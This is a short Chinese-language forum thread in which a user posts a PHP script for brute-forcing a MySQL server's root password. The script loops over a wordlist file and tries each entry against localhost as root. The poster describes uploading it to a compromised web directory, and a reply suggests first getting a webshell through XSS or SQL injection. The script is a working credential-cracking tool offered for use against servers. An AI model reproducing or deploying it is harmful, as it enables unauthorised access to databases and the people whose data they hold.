【笔记】破解mysql数据库root密码的php脚本

knife911

web同一目录下上传该.php文件与mysql.txt字典，访问该文件，开始匹配密码，望大牛勿喷，属于暴力破解。

[PHP] 纯文本查看 复制代码

<?
set_time_limit(0);
$passwd=file("mysql.txt");
$strings=count($passwd);
for($i=0; $i<$strings; $i++){
$pass=$passwd[$i];
connect($pass);
}
echo "<br>扫描结束<br>";

function connect($pass)
{
$conn=@mysql_connect("localhost","root",$pass);
if($conn){echo "<br>得到root密码:$pass<br>";exit();
}else{echo "|";}
}
?> 

Cizel

分类错了~

Cizel

程序很简单，带有吾爱的ID，值得鼓励。  可以帮mysql.txt字典上传一份~

knife911

卧龙传说 发表于 2015-11-15 22:43
首先你得拿到web权限才可以啊

可先通过其他方式（xss，sql注入，，等）获取webshell权限，再用这个破解mysql密码。